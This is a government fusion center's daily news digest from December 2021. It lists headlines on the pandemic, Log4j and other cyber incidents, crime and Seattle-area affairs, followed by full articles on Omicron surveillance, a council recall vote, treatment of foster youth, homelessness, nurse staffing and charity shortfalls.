



<div>  <div> Washington State Fusion Center INFOCUS TUESDAY — 14 DEC 2021 </div>  </div>			
	International	National	Regional and Local
Events, Opportunities Go to articles	12/14 SKorea deadliest day of pandemic 12/14 Wealthy push boosters; poor wait for vax 12/14 South Africa: Pfizer less effective omicron 12/14 US to expand into Indo-Pacific region 12/14 US warns China: stop 'aggressive actions' 12/14 Atrocities mount under Myanmar junta rule 12/13 China reports first omicron case 12/13 UK booster blitz against omicron 12/13 Britain battles omicron 'tidal wave' 12/13 Russia backs down unpopular restrictions 12/13 Denmark, Norway: grim omicron projection 12/13 Moscow: no NATO expansion to Ukraine 12/13 Israel hit Syria chemical weapons' sites? 12/13 Israel, UAE pushed together by fear of Iran 12/13 EU sanctions Russian mercenaries' group 12/13 Kashmir violence escalates; 2 police killed 12/13 Quebec removes teacher for wearing hijab 12/13 Canada apology military sexualized culture 12/13 US embassy: Japan police in racial profiling 12/13 Russia vetoes UN climate change resolution	12/14 Omicron is dress rehearsal next pandemic 12/14 Huawei link to China surveillance 12/14 Court upholds revival 'Remain in Mexico' 12/14 Surge: skipping medical care due to cost 12/14 Big Calif. storm dumps snow, heavy rain 12/13 Calif. reinstates indoor mask mandate 12/13 New York new statewide mask mandate 12/13 Some hospitals drop vaccine mandates 12/13 Year of vaccines: lives saved; many lost 12/13 Air Force discharges 27: vaccine refusal 12/13 Court upholds NY healthcare workers vax 12/13 Total known coronavirus cases exceed 50M 12/13 Pandemic impacts Indigenous communities 12/13 Kentucky death toll expected to grow 12/13 Ample warning but tornado deaths high? 12/13 FEMA: December tornadoes 'new normal' 12/13 Candle-factory worked amid tornadoes? 12/13 Emergency: Kentucky, Illinois, Tennessee 12/13 OSHA probes Amazon warehouse collapse 12/13 By the numbers: record-breaking tornadoes 12/13 Job gains hard to count during Covid 12/13 Omicron upends holidays for travelers 12/13 Car-crash deaths surged amid pandemic 12/13 EO directs govt. improve customer service 12/13 Millions of Americans can't afford to retire 12/13 Recall expands: ham, pepperoni products	12/13 DOH: 793,757 cases, 9580 deaths 12/13 Omicron variant surging in Washington 12/13 Nurses' union: healthcare staffing crisis 12/13 Hospitals full: no room in nursing homes 12/13 Oregon confirms 3 omicron variant cases 12/13 Sawant 'no recall' vote extends lead 12/13 Seattle police 'unavailable' list grows 12/13 Seattle mayor-elect new administration 12/13 Salvation Army faces donation shortage 12/13 KCSO evicts squatters from Seattle motel 12/13 Homeless RV camp expands Beacon Hill 12/13 DCYF agency punished hard to place kids 12/13 Fatal WA police encounters fall to 5yr-low 12/13 Pushback: Seattle City Hall Park to King Co.
Cyber Awareness Go to articles	12/13 Kronos suffers ransomware attack 12/13 TinyNuke banking malware reemerges 12/13 Germany jails 'cyberbunker' operators 12/13 Ukraine arrests 51; selling data of 300M 12/13 Hackers steal \$140M crypto gaming firm 12/13 Agent Tesla malware phishing campaign 12/13 Ascendex exchanged hacked; \$77M stolen 12/13 Joint operation nabs ransomware suspect 12/13 'Sadistic' online extortionist jailed for 32yrs 12/13 India probes hacking of PM Twitter account	12/14 Log4j: vulnerable products, advisories 12/14 Log4Shell attacks industrial organizations 12/14 CISA: Log4j flaw millions of devices at risk 12/13 Log4Shell spawns nastier mutations 12/13 Log4Shell attacks began 2 weeks ago 12/13 Log4j flaw will haunt internet for years 12/13 Attackers attempt to exploit Log4j flaw 12/13 Ransom attack Virginia legislative agencies	
Terror Conditions Go to articles	12/14 UN: Taliban rule marked by killings 12/13 Afghan health system 'close to collapse' 12/13 For Taliban-ruled Afghanistan: crisis looms 12/13 UK woman guilty: sharing extremist videos	12/13 Pentagon: no punishment 'tragic mistake'	
Suspicious, Unusual Go to articles	12/14 UN alarm: Arctic record 100deg. heat 12/13 Malta to legalize recreational pot	12/13 TSA: record number guns confiscated 12/13 PCBs still posing threat to wildlife	12/13 Cause of 3 deaths in Renton unknown 12/13 Boeing, suppliers short safety oversight?
Crime, Criminals Go to articles	12/13 Return, and decline in quality, of MDMA 12/13 Russian teen detonates bomb in school 12/13 Court date set: American in fatal UK crash	12/13 Oxford schools shut down amid threat 12/13 Protesting voting rights activists arrested 12/13 Nassar abuse survivors \$380M settlement 12/13 Flash-mob thefts planning on social media? 12/13 CA police recover 1,000 catalytic converters	12/13 Man jailed 8 1/2yrs; car dealership rape 12/13 Seattle ranked 10th worst city in retail crime 12/13 Gun violence impacts minority communities

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Events, Opportunities

[Top of page](#)

HEADLINE	12/14 Omicron is dress rehearsal next pandemic
SOURCE	https://www.nytimes.com/2021/12/14/health/coronavirus-omicron-next-pandemic.html

When scientists discovered the highly mutated Omicron variant of the coronavirus last month, it set off an eerily familiar chain of events.

Health experts held somber news conferences that raised more questions than answers. Officials imposed travel bans that very likely came too late. Virus trackers filled in their maps as the variant was reported in country after country. And the rest of us waited, with increasing unease, to learn more about the threat we were facing.

The same sequence unfolded nearly two years ago when the novel coronavirus, SARS-CoV-2, was first discovered. In those early weeks of 2020, the United States proved to be woefully unprepared for the challenges ahead, starting with the most fundamental of tasks: [detecting the virus](#).

“We had a delay of one to two months before we were even able to identify the presence of the virus,” said Dr. Charles Chiu, an infectious disease specialist and microbiologist at the University of California, San Francisco. “And by that time, it had already circulated widely between multiple states and from coast to coast.”

These failures have been well-chronicled, and Omicron is one more sign that the current pandemic, which has now claimed the lives of [nearly 800,000 Americans](#), is not over.

But Omicron is also a dress rehearsal for the next pandemic. The work before us now — detecting, tracking and slowing the spread of a health threat we do not fully understand — is the same work that will be required to stop a future outbreak in its tracks.

The analogy is not perfect. When Omicron arrived, scientists had already developed vaccines and treatments for the virus and were on high alert for new variants. The next pandemic may come with less warning.

“We know that there are pathogens worse than SARS-CoV-2 that are emerging and re-emerging and waiting for their moment to take off,” said Rick Bright, the chief executive of the Pandemic Prevention Institute at the Rockefeller Foundation.

Omicron’s emergence is an opportunity to take stock of both the gains we have made and the ways in which we are still falling short. It is also a call to action: Whatever progress we have made is not enough.

Seek and you shall find

In any other context, it would have been unremarkable: On Sunday, Nov. 28, a San Francisco resident who had been feeling mildly ill took a Covid test. The next day, it came back positive.

What set off alarm bells, however, was that the resident had recently returned from South Africa, where the newly discovered Omicron variant was widespread.

The traveler’s test sample was flagged for priority genomic sequencing, which would reveal the precise genetic code of the virus that had infected the traveler — and whether it had Omicron’s telltale mutations. Dr. Chiu, the San Francisco microbiologist, was tapped to do the sequencing. By 6 p.m. on Tuesday, Nov. 30, just a few hours after Dr. Chiu first learned about the sample, it was hand-delivered to his lab, packed in dry ice.

Dr. Chiu and his colleagues quickly got to work. Although generating the full sequence takes hours, the scientists chose to use a technique known as nanopore sequencing, which allowed them to analyze the results in real-time, while the process was still underway.

“As the data accumulated, we were able to identify more and more mutations,” Dr. Chiu recalled.

Before dawn, he was certain: It was Omicron, [the first case found](#) in the United States. Less than a week had passed since South Africa first publicly announced the existence of the variant.

We cannot fight what we cannot see, and preventing the next pandemic begins with detecting and tracking the pathogens that threaten us. In that regard, at least, “we’re extraordinarily better off than we were this time last year,” said Joseph Fauver, a genomic epidemiologist at the University of Nebraska Medical Center in Omaha.

Testing, testing, testing

The first link in the disease surveillance chain is testing. Who is infected and where are they? Without accurate, timely testing, it can become impossible to curb the spread of a pathogen.

Unfortunately, America bungled testing [from the beginning](#). The Centers for Disease Control and Prevention distributed [faulty test kits](#), while supply shortages and regulatory delays created an epic mismatch between supply and demand. In the summer and fall of 2020, waits at testing sites [could stretch for hours](#); the wait for results [could take a week or more](#). There was no coordinated national testing plan.

These missteps allowed the virus to spread, unseen and unchecked, increasing the burden on hospitals and making other mitigation measures more difficult. Without accessible testing, the strategy that helped other countries break the chain of transmission — swiftly identifying people with the virus, isolating them and tracing their contacts — stood little chance.

As time passed, the testing crunch eased. Labs diversified their supply chains, purchased new equipment and hired more staff, said Kelly Wroblewski, director of infectious diseases at the Association of Public Health Laboratories.

More and more tests won emergency authorization from the U.S. Food and Drug Administration, including rapid, at-home tests that delivered results on the spot.

“We’ve moved from hospitals to central labs to your living room,” said Mara Aspinall, an expert in biomedical diagnostics at Arizona State University. (Ms. Aspinall is on the board of directors of OraSure, which makes Covid tests.)

The C.D.C., which [initially imposed stringent requirements](#) on who could be tested for the virus, began recommending routine screening as a tool to curb transmission. By the time Omicron was in the headlines, it was no longer remarkable for a 5-year-old to swab his own nose before school or for an ailing San Francisco resident, recently returned from South Africa, to get P.C.R. results back in 24 hours.

“It’s like a night and day comparison between where we were at the beginning of the pandemic,” Ms. Wroblewski said.

But the United States is still doing [less daily testing per capita](#), and it has a higher share of tests come back as positive, than many other high-income countries, according to the Johns Hopkins Coronavirus Resource Center.

“We haven’t done a great job on making tests available,” said Dr. Ezekiel J. Emanuel, a bioethicist at the University of Pennsylvania who was a member of President Biden’s Covid-19 Advisory Board during the presidential transition.

P.C.R. processing times still vary widely, while rapid tests can be difficult to find in stores and remain beyond the budget for many Americans, especially because they are designed to be used frequently. (The Biden administration’s new plan to have health insurers reimburse members for at-home tests may help [but has its limitations](#).)

Many of these problems can be traced to the nation’s failure to invest in testing early in the pandemic. The Trump administration created Operation Warp Speed to turbocharge vaccine development. The country needed a similar effort for diagnostic tests, experts said.

Diagnostic testing may not be as tantalizing as vaccines, but in any future pandemic, they said, it should be a priority from the start.

‘Bootstrapping’ surveillance

The next vital link in the surveillance chain is routine, widespread genomic sequencing. This kind of surveillance helps experts keep tabs on how a pathogen is mutating and how new variants are spreading.

In the United States, this effort got [off to a very slow start](#). “Many of the public health labs were, frankly, just overwhelmed by the initial testing volume and competing obligations,” said Duncan MacCannell, the chief science officer at the C.D.C.’s office of advanced molecular detection.

Although some research laboratories established their own independent sequencing programs, there was little funding or coordination.

In the spring of 2020, the C.D.C. [created a consortium](#) of academic, commercial and public health labs to “start bootstrapping” a more focused national effort, Dr. MacCannell said. But progress was slowed by a lack of resources and a fragmented health care system that had no organized pipeline for getting patient samples from testing sites to sequencing labs.

“A lot of sequencing machines were idle in 2020,” said Bronwyn MacInnis, who directs pathogen genomic surveillance at the Broad Institute in Cambridge, Mass.

But in late 2020 and early 2021, the emergence of the highly contagious Alpha variant and an influx of [federal funding](#) finally kicked genomic surveillance into a higher gear. Since January, the country has gone from sequencing [fewer than 3,000](#) samples a week to [50,000 to 60,000](#), on average, according to the C.D.C.

And when news of Omicron broke, on Nov. 25, some [labs redoubled their efforts](#), adding weekend hours and night shifts to search for the variant. Although Dr. Chiu’s lab was the first to detect it, researchers in other states — Minnesota, Colorado, New York and Hawaii — soon followed suit.

“Omicron has really shown that we have expanded our capacity significantly to be able to identify these variants as they emerge,” Dr. Chiu said.

Some research teams began looking for the variant in sewage. Because the virus is shed in feces, [analyzing wastewater](#) can provide a snapshot of whether the virus, or a particular variant, is present in a community and how prevalent it is.

Although wastewater epidemiology is not new, the pandemic has turned it from a niche pursuit into a mainstream strategy. The need to monitor the virus prompted the C.D.C., in partnership with other federal agencies, to create the [National Wastewater Surveillance System](#), which could eventually be used to monitor antibiotic-resistant bacteria, food-borne pathogens and other microbes.

Omicron was a test of the approach. In early December, researchers found the variant [at eight wastewater treatment plants](#) in Houston, days before the city reported its first cases.

“This is the kind of thing that really allows us to get out in front of SARS-CoV-2,” said Samuel Scarpino, the managing director of pathogen surveillance at the Pandemic Prevention Institute.

Room for improvement

And yet, if Omicron is a test of our preparedness for the unexpected, some experts are not convinced that we have passed. The United States was days behind many other countries in detecting the variant.

“That’s not a good sign,” said Dr. Eric Topol, the founder and director of Scripps Research Translational Institute in San Diego, Calif.

Despite recent improvements, the country has sequenced a smaller share of cases since the beginning of the pandemic than [many other nations](#), according to GISAID, an international database of viral genomes.

There are still [delays in the system](#) and the Omicron news broke on Thanksgiving, when processing times were likely even longer than usual, experts said. (C.D.C. data [show a dip](#) in the number of virus sequences added to public databases during the week of and the week after the holiday.)

The national effort is also uneven — with some states sequencing [more than 20 percent of their Covid cases](#) and others sequencing less than 3 percent — and may be missing certain regions or communities even within states, experts said.

“That is not an effective infrastructure for genetic surveillance of viral infections,” Dr. Emanuel said. “It’s got to be nationwide, and it’s got to be uniform.”

And the country needs to do a better job identifying people who are especially likely to be harboring new variants, scientists said. Rather than restrict travelers from abroad, officials could make a more concerted effort to test them for the virus and sequence positive samples.

People with breakthrough infections and those with compromised immune systems — who may have more trouble fighting off the virus, giving it more chances to mutate — should also be priorities for sequencing, experts said.

“Not only do we have to sequence, but we have to make sure we’re sequencing in the right communities and the right people,” said Janet Robishaw, the senior associate dean for research at Florida Atlantic University’s College of Medicine in Boca Raton.

And while countries with centralized or nationalized health care systems, like Britain, can link the viral sequences to clinical data about patients relatively easily, in the United States that is much more difficult. Did the sample come from someone who was in the I.C.U. or just home with a sniffle? Were they vaccinated and, if so, with which vaccine and when?

“We can do a lot with sequences in terms of looking at how fast Omicron or Delta or whatever is spreading,” said Trevor Bedford, an expert on viral evolution and surveillance at the Fred Hutchinson Cancer Research Center in Seattle. “But it makes it hard to address really important scientific questions like, is Delta more severe?”

The next pandemic

Some of the progress the country has made could leave us better positioned for the next pandemic. For instance, public health laboratories have new equipment and expertise, which they can now use to track the flu, food-borne illnesses and whatever the next great global health threat turns out to be.

But solidifying these gains will require a continuing commitment and funding after the immediate crisis has passed. “The historical pattern is, we surge and then we forget and we neglect,” Dr. Bright said.

Many exhausted health officials have already left their jobs, and legislators have passed more than 100 laws limiting the public health powers of state and local authorities, [a New York Times review found](#).

Some of the problems that the pandemic has highlighted are deeply rooted. For example, a highly coordinated genomic surveillance program like Britain’s, which is frequently held up as an exemplar, was always going to be a heavy lift in the United States.

“We have this Balkanized health care system, and the system is a giant mess,” said Jeremy Kamil, a virologist at Louisiana State University Health Sciences Center Shreveport.

	<p>And pandemic preparedness does not happen in a vacuum. Just as a more equitable distribution of vaccines might help squelch the next variant of concern, preventing the next big global outbreak will require ensuring that every country has the resources to detect and respond to emerging pathogens.</p> <p>The United States is a large and fractured country — politically polarized and burdened with glaring inequities, rampant misinformation and disinformation, and a considerable distrust of public officials. These are enormous, thorny problems and are much harder to address than ensuring that labs have the capacity to detect Omicron or any new pathogen.</p> <p>“I’m confident in our ability to detect the variant,” Dr. Fauver said. “What I’m not confident in is our ability to do anything about it. We’re detecting the Delta variant every single day, every time we sequence.”</p> <p>Even before the Omicron news broke, another Delta-driven surge had already begun. Scientists are finding more Omicron cases every day, and the variant could soon overtake Delta. What comes next — what we should aim for, even — is less clear. Should we spend the winter trying to stop every infection? Protecting the highest risk people from severe disease and death? Ensuring that hospitals are not overrun?</p> <p>“One thing that we’ve lacked continuously through the pandemic is a goal,” said Emily Gurley, an epidemiologist at the Johns Hopkins Bloomberg School of Public Health. “We still don’t have that. Certainly, we don’t have that for Omicron.”</p>
Return to Top	

HEADLINE	12/13 Sawant ‘no recall’ vote extends lead
SOURCE	https://www.seattletimes.com/seattle-news/politics/sawant-maintains-lead-as-many-challenged-ballots-are-resolved/
GIST	<p>Seattle City Councilmember Kshama Sawant was still narrowly staving off a ballot measure to recall her from office Monday, maintaining about 50.4% of the votes.</p> <p>In updated results update from King County Elections, the recall effort to remove the three-term council member for a finance infraction and her involvement in 2020 racial justice protests trailed behind votes in support.</p> <p>The “no” votes, or those in favor of Sawant keeping her seat through her elected term ending in 2023, overtook those supporting the recall Thursday and haven’t budged since.</p> <p>While the majority of votes have been counted, both campaigns are working to resolve 436 challenged ballots, which could flip results. But on Monday, Sawant led by 309 votes, her highest lead to date, reducing the likelihood of a successful recall.</p> <p>Ballots will be counted through 4:30 p.m. Thursday, and votes are set to be certified Friday. After that, both sides will have until Dec. 21 to request a recount, but they’ll have to foot the bill.</p>
Return to Top	

HEADLINE	12/13 DCYF agency punished hard to place kids
SOURCE	https://www.king5.com/article/news/investigations/washington-state-watchdog-dcyf-foster-youth-sleep-in-state-vehicles/281-0a6675d5-d81c-4bac-9274-44766e9adc4f
GIST	<p>SEATTLE — A Washington Office of Family and Children's Ombuds’ probe, launched in response to a KING 5 investigation, found some Washington foster youth spent most of the night in state vehicles, and child protection workers occasionally used coercive measures to convince the children to accept group home and foster home placements.</p> <p>The state watchdog investigation, which concluded last month as part of the ombuds’ 2021 annual report, confirms reporters’ findings that Washington Department of Children, Youth and Families (DCYF)</p>

employees dangled basic necessities like a safe, warm place to sleep as a way to get challenging foster youth to behave or follow orders.

It also confirmed accounts from social workers interviewed for the [KING 5 report](#), who described DCYF supervisors encouraging them to use psychological tactics, like blasting air conditioning or rolling down the car windows on a cold night, to manage children's behavior.

"Our review was very consistent with your own report," Patrick Dowd, director of the ombuds office, told KING 5 investigators. "And we did find instances where vehicles were used. You can either describe it as behavior management or punishment."

Dowd's investigation found that car stays most often occurred when foster youth refused to go inside an available foster home or group home placement. The worker was instructed to wait in the car with the child in hopes they would eventually accept the placement, according to Dowd's [report](#).

"This strategy was occasionally successful, but often it was not," the report reads. "In some cases, workers and youth both reported additional measures were employed to make remaining in the car uncomfortable, such as turning on the air conditioner, even if it was cold, not allowing the youth to charge their phone, or not allowing the youth to listen to music, in an effort to convince them to accept placement."

DCYF leaders previously denied the agency has a practice of making Washington foster youth spend the night in state vehicles or that DCYF employees took steps to punish youth who refused to accept placements.

Instead of launching his own internal review after [the multi-part KING 5 investigation](#), DCYF Secretary [Ross Hunter announced in July that he would rely](#) on Dowd's external investigation of the agency's actions.

In response to the external probe, a DCYF spokesperson reinforced that car stays aren't tolerated at the department, but she did not address the ombuds' finding that some foster youth were intentionally subjected to cold air, with no pillows or blankets, while in state vehicles.

"We provided very clear direction to our field staff," DCYF spokesperson Nancy Gutierrez wrote in a statement. "Having children sleep in cars is not an accepted practice. DCYF has maintained this was never condoned practice nor policy for our agency. We have emphasized this with staff."

In July, two months after KING 5 first reported that foster children were spending the night in cars, the DCYF created a new policy that indicates youth cannot spend overnight hours in cars from 10 p.m. to 6 a.m. unless they're being transported, according to Gutierrez. A [recent court order](#), which stemmed from a federal [lawsuit](#), also prohibits the agency from placing foster youth in cars overnight.

Gutierrez declined to comment on whether the department planned to do an internal investigation following the ombuds' report or whether any DCYF employees face discipline.

"We have a system in place for staff to report behavior that aren't aligning with approved practice or our policies," she wrote. "There are regular meetings and mechanisms in place for staff to provide feedback and identify issues as they arrive in order to approve practices."

Washington state Rep. Michelle Caldier (R-Port Orchard), a licensed foster parent who cares for state-dependent youth with behavioral challenges or other intensive needs, said the DCYF should take action now that the ombuds investigation is complete.

"I was concerned that perhaps some of the leadership within the agency did not necessarily believe your investigation," said Caldier. "The fact that the ombudsman office has confirmed this, it sends things down a different pathway."

The DCYF [oversight board](#), an independent body created by the state Legislature, is expected to invite Dowd to present the results of his investigation at its next meeting on Jan. 20.

Social workers, youth describe car stays

Dowd's team has spent the last seven years tracking [the thousands of nights Washington foster youth were placed in hotels](#) and state offices due to a lack of placement resources — a statistic he reported “has only worsened” and “ballooned” in the 2021 reporting year, with children spending more than 2,500 nights in offices or hotels.

But this is the first time the ombuds office proactively launched a systemic investigation into the potential that the child welfare agency took punitive actions toward the foster youth who ended up in those night-to-night placements.

After beginning his investigation in June, weeks after the KING 5 investigation, Dowd's staff reviewed DCYF case narratives and notifications of “placement exceptions” — the term the state uses to describe overnight stays in hotels, offices and one-night foster home placements. His staff also interviewed eight foster youth and 24 DCYF after-hours employees, according to the report.

After-hours social workers are tasked after 5 p.m. with supervising and transporting some of the [most challenging](#) and “hard to place” foster children and teens in the state's care. The ombuds' office protected the identities of the DCYF employees and children who participated in the external probe.

Dowd said social workers often drove children around for several hours in the evening, waiting for a DCYF supervisor's instructions on a possible placement or approval from supervisors to take the children to a hotel when a placement didn't materialize.

When a foster child refused to go inside a placement, one worker told the ombuds investigator he was directed to stay in the state vehicle with the child as long as the placement remained willing to accept the youth.

According to the report, another worker told the ombuds she had five to 10 car stays where she would stay in the vehicle in the parking lot outside of a crisis residential center all night and take the child back to the office in the morning.

The worker also explained that vehicle stays were sometimes used as a punishment. Foster youth and other workers agreed with her assessment, according to Dowd's report.

“A youth said that on more than one occasion, when she refused placement, the worker turned on the air conditioning all the way, rolled down all the windows, and told her if she refused the placement, she would have to sleep in the car like this,” the report reads.

“I think it's inappropriate,” Dowd said in a December interview about the results of his investigation. “We also found that very often, these youth had legitimate reasons for refusing a placement based on a past history at a crisis residential center for example, where they didn't feel safe or they were being taken to a placement that was well outside of their school district or community.”

Social workers and foster youth reported to the ombuds office there were usually no blankets in state vehicles unless a child brought their own. They also told investigators they often lacked access to bathrooms as they waited in cars throughout the night.

Dowd said workers told his team that when there were behavioral issues involving children, DCYF staff would sometimes place kids in cars to separate them from other youth who were staying in hotels and state offices.

“I think it really underscores the kind of struggle that we are facing under the circumstances of trying to identify an appropriate placement for these children when we don’t have a sufficient array, and we’re relying on hotels or offices as a stopgap measure,” he said.

It’s unknown how often car stays occurred or how many youth experienced them, as the DCYF doesn’t track the information and the ombuds investigation did not quantify it.

Dowd’s investigation also reviewed the circumstances and challenges of [overnight stays in hotels](#) and state offices, two practices the agency is required to end as a result of the June [federal court order](#), which calls for Washington state to make significant changes so foster children don’t have unstable experiences in the system.

Some workers and teens reported to Dowd’s team that office stays were used as a punishment for refusing placement. And one foster youth described uncomfortable sleeping conditions in state offices.

“You either get a cot, the floor, or the couch,” the youth said, according to the ombuds report. “They are all uncomfortable, even the cot. Sometimes you get a blanket. They are treating us like the trash that we are.”

The ombuds’ probe identified other problems affecting after-hours staff and youth, too.

Dowd and his team found foster youth who spent the night in offices and hotels didn’t always have access to adequate food, clothing and hygiene options or appropriate activities to pass the time during the day.

His investigation also revealed social workers sometimes struggled to manage and administer necessary medication for youth.

Additionally, the ombuds probe identified concerns about the safety of after-hours staff, [who lack resources](#) and don’t always have vital information about the kids in their care.

‘We concur with the recommendations’

At the conclusion of the investigation, Dowd issued a series of recommendations to DCYF leaders. The recommendations include expanding training for after-hours workers, increasing staffing for placement exceptions, improving medication management and enhancing case planning for each child, according to the report.

“The real solution to this means that we just need more placements,” said Dowd. “We need more foster homes. We need more therapeutic foster homes. We need more intensive care for children. But until we have that in place, I think the department needs to take additional steps.”

The DCYF has not issued a formal response to the report, according to Dowd. But Gutierrez, the DCYF spokesperson, explained the agency was responsive to the ombudsman and appreciates his team’s work.

“We concur with the recommendations made in the (Office of Family and Children’s Ombuds) report,” Gutierrez wrote in a Dec. 7 statement. “Several of the recommendations align with our plan developed to address exceptional placements.”

Despite the significant increase in placement exceptions during the ombuds’ 2021 reporting year, Dowd found a relatively small number of children made up the majority of hotel and office stays. Sixty-four children accounted for 80% of all placement exceptions, spending a combined total of 2,034 nights in a hotel or office, according to the annual report.

“Why I’m optimistic in a way is that... it seems like it should not be that heavy of a lift to provide appropriate placement and services and stability for 64 children,” said Dowd.

For months, DCYF has been working through [its six-page plan](#) to carry out the federal court order to eliminate office and hotel stays. The exceptional placement plan promises to expand the number of service providers and foster parents serving high-needs youth who are likely to cycle through night-to-night placements. It also pledges to create a new housing option for teens called an “Emerging Adult Transitional Living Program.”

“We are working tirelessly to get a supportive housing option up and running to serve many youth experiencing hotel stays by the end of the year,” Gutierrez, the DCYF spokesperson, wrote. “We also continue our efforts to expand our current placement capacity.”

Since August, the child welfare agency has largely stopped using offices to house foster children overnight, according to a review of data provided by Dowd’s office. Gutierrez said the department hasn’t had an office stay since Sept. 17. She said the agency has made “tremendous progress” on reducing and finding long-term placements for a large percentage of the foster youth who have exceptional needs.

State data shows the department continues to house a small number of foster children in hotels each night, and it has placed other children in foster homes or group homes for only one night.

Between Nov. 1 and Dec. 5, 46 Washington foster children experienced a placement exception, according to the ombuds office. Thirty-one of the 46 children experienced hotel stays and 21 of the children experienced night-to-night stays. Six children experienced both hotel and office stays.

During that time, the data shows fewer than 10 foster children stayed in a hotel each night.

“Although we are only talking about a small number of youth with very high needs experiencing hotel stays on any given day, the lack of placement options further aggravated by a pandemic and labor shortage has made this task difficult,” Gutierrez wrote. “Our goal continues to be to find safe, stable and therapeutic options for these youth.”

[Return to Top](#)

HEADLINE	12/13 Homeless RV camp expands Beacon Hill
SOURCE	https://www.king5.com/article/news/local/homeless/rv-camp-expands-near-seattles-jefferson-golf-course/281-84370a29-71d0-4e11-8e80-2f369a9ce114
GIST	<p>SEATTLE — RV camps popping up throughout Seattle has been an ongoing problem for the city, with one camp continuing to grow near a popular golf course on Beacon Hill.</p> <p>Ben Van Hollebeke comes to play at Jefferson Golf Course every chance he can. But just outside his favorite course is something he believes should’ve been removed a long time ago.</p> <p>“it’s crazy. I don’t think it’s personally a good look for the city, and I’ve seen them down here for maybe a year or so,” said Van Hollebeke.</p> <p>The look he’s talking about is the line of RVs and tents on a city-owned parking lot along Beacon Avenue, right next to the golf course and the VA Hospital. The scene also makes some nearby business owners uneasy.</p> <p>“I’d like to see the sidewalk free where people can walk up and down it, like you used to be able to and not step over garbage and tents and walk into peoples’ living rooms, for lack of a better explanation,” said Jay Turner, the President of Red Bird Sports.</p> <p>Turner grew up on Beacon Hill and has owned Red Bird Sports, located just blocks away from the growing RV encampment, for more than 35 years.</p> <p>“Who I am upset with is city government, that’s their job to keep neighborhoods clean and help the constituents out,” said Turner.</p>

	<p>As of October, the city of Seattle has resumed its enforcement of 72-hour parking for vehicles. But KING 5 crews didn't catch any notices placed. Similar to other encampments, Seattle Parks and Rec said they need to give people proper notice of removal and assist them with housing and storing their belongings before any removal of the site. Despite those laws in place, Seattle Parks and Rec officials said there is no scheduled encampment removal for the tents along Jefferson Golf Course.</p> <p>"To turn a blind eye on that and just let that fester and grow is shameful," said Turner.</p>
Return to Top	

HEADLINE	12/13 Nurses' union: healthcare staffing crisis
SOURCE	https://komonews.com/news/coronavirus/facing-a-healthcare-staffing-crisis-nurses-unions-make-urgent-call-to-legislators
GIST	<p>SEATTLE — A coalition of unions representing nurses on Monday raised concerns about what they said was a burgeoning hospital staffing crisis and called on Washington state lawmakers take action now to address the issue.</p> <p>The Washington State Nurses Association and SEIU Healthcare 1199NW said they are working with lawmakers to get legislation introduced in January that will ensure local facilities are properly staffed now and in the future.</p> <p>Julia Barcott, a nurse, said at the onset of the COVID-19 pandemic, she and fellow nurses were called heroes.</p> <p>Now she said many of them are worn down, short staffed and overworked, forced to resort to overtime to keep up with the demand.</p> <p>And with the number of qualified nurses dwindling, many are leaving their long-standing posts in hospitals and choosing instead to become traveling nurses. Barcott said traveling nurses, hired on a contract bases by some hospitals, can earn in one week what staff-based nurses normally make in a month.</p> <p>"Hospital executives are spending millions on having traveling nurses but the staff nurses who have been there all along are getting little to nothing at all," Barcott said. "We must solve the retention problem."</p> <p>The Washington State Hospital Association, in a recent survey of hospital staff, found that the top reason nurses are leaving their jobs is because their spouse was moving to another job. Running a close second, however, is the desire to become a traveling nurse.</p> <p>The group's survey found that retirement and burnout were the other top reasons why nurses are vacating their jobs.</p> <p>That survey also found that Washington state currently has a shortage of about 6,000 nurses.</p> <p>The staffing issues have surfaced as hospitals statewide gear up for a potential winter surge of COVID-19.</p> <p>Officials said there are currently about 700 coronavirus patients hospitalized around the state, compared to 1,300 patients last summer. The highest number of COVID patients was reached last year when 1,700 hospital patients were treated.</p> <p>A group of unions representing nurses are turning to state lawmakers for help with ongoing staffing issues.</p> <p>"Don't put yourself in a position where you're going to need the hospital," said Cassie Sauer, president of the Washington Hospital Association. "Because it's going to be really tight."</p>

	<p>Officials with the UW Medical System said they currently have about 20 COVID patients across all of its campuses.</p> <p>"This number is lower than it's been since mid-summer so we're very excited to see that," said Lisa Brandenburg, president of UW Medicine Hospitals & Clinics. "With the omicron variant, we want people to stay vigilant."</p> <p>Sauer says people with diabetes, hypertension or other chronic conditions, will need to stay current with their medications and doctor's appointments in order to avoid needing hospital care.</p> <p>She said there is a significant number of patients who are still hospitalized even though they're well enough not to be released. They have no place else to go.</p> <p>"It's essentially like a hotel where they need a place to stay," Sauer said. "They need to go to check on them and they're using a hospital bed instead of a more appropriate place."</p> <p>There are ongoing mitigation measures and new ones in the works that aim to dampen transmission rates.</p> <p>Seattle Children's Hospital is now reporting a decrease in the daily transmission it's seeing, down to a positive test rate of 1 percent.</p> <p>But Dr. Danielle Zerr said on any given day they have two to five pediatric in-patients who were being treated for COVID-19.</p> <p>She said they are also battling a very robust RSV season and helping more and more patients with mental health and behavioral issues. Regarding that, she says they're seeing too many young patients sitting in the emergency room for far too long, waiting for treatment. That has prompted Seattle Children to develop a behavioral health crisis care clinic in response.</p> <p>The fight against omicron and all variants continues with vaccinations and booster shots, some clinics even expanding hours to make it more convenient for people. The UW also rolled out a new visitor policy, which requires proof of vaccination or a negative test, to keep patients and employees from getting sick.</p> <p>The advice for everyone, during this time of holiday gatherings, is to only gather with people who are vaccinated to avoid potential exposures.</p> <p>The nurses' union, says they'll keep working in the trenches for patients, while their union leaders work with lawmakers to draft a new standard of staffing for when the new legislative session begins Jan. 10.</p>
Return to Top	

HEADLINE	12/13 Salvation Army faces donation shortage
SOURCE	https://www.q13fox.com/news/the-situation-is-dire-salvation-army-facing-toy-donation-shortage-ahead-of-holidays
GIST	<p>SEATTLE - The Salvation Army is facing a shortage of toys and donations ahead of the holiday season, and urge communities to find a way to help.</p> <p>The nonprofit reports it gets 75% of total annual donations during November and December, and they are once again in need of support. That help can come in the form of an online donation at the virtual Northwest Red Kettle.</p> <p>"There are many reasons why both financial and toy donations are down this year, not the least of which is likely pandemic fatigue and concerns about employment and the future," said Colonel Cindy Foley of the NW Salvation Army Division. "We are actually trying to provide food, shelter, toys and clothing to double the number of families we served last Christmas, and in the midst of the growing need we are seeing fewer people donating at our virtual and physical kettles."</p>

	<p>Not only is the nonprofit organization short on donations, they also are in desperate need of bell ringers to staff the red kettles seen at businesses around the country.</p> <p>"The situation is dire, and we are asking our generous supporters in the region to donate to the virtual Northwest Red Kettle as well as make donations at every physical kettle in whatever way you can," said Foley.</p>
Return to Top	

HEADLINE	12/13 Oregon confirms 3 omicron variant cases
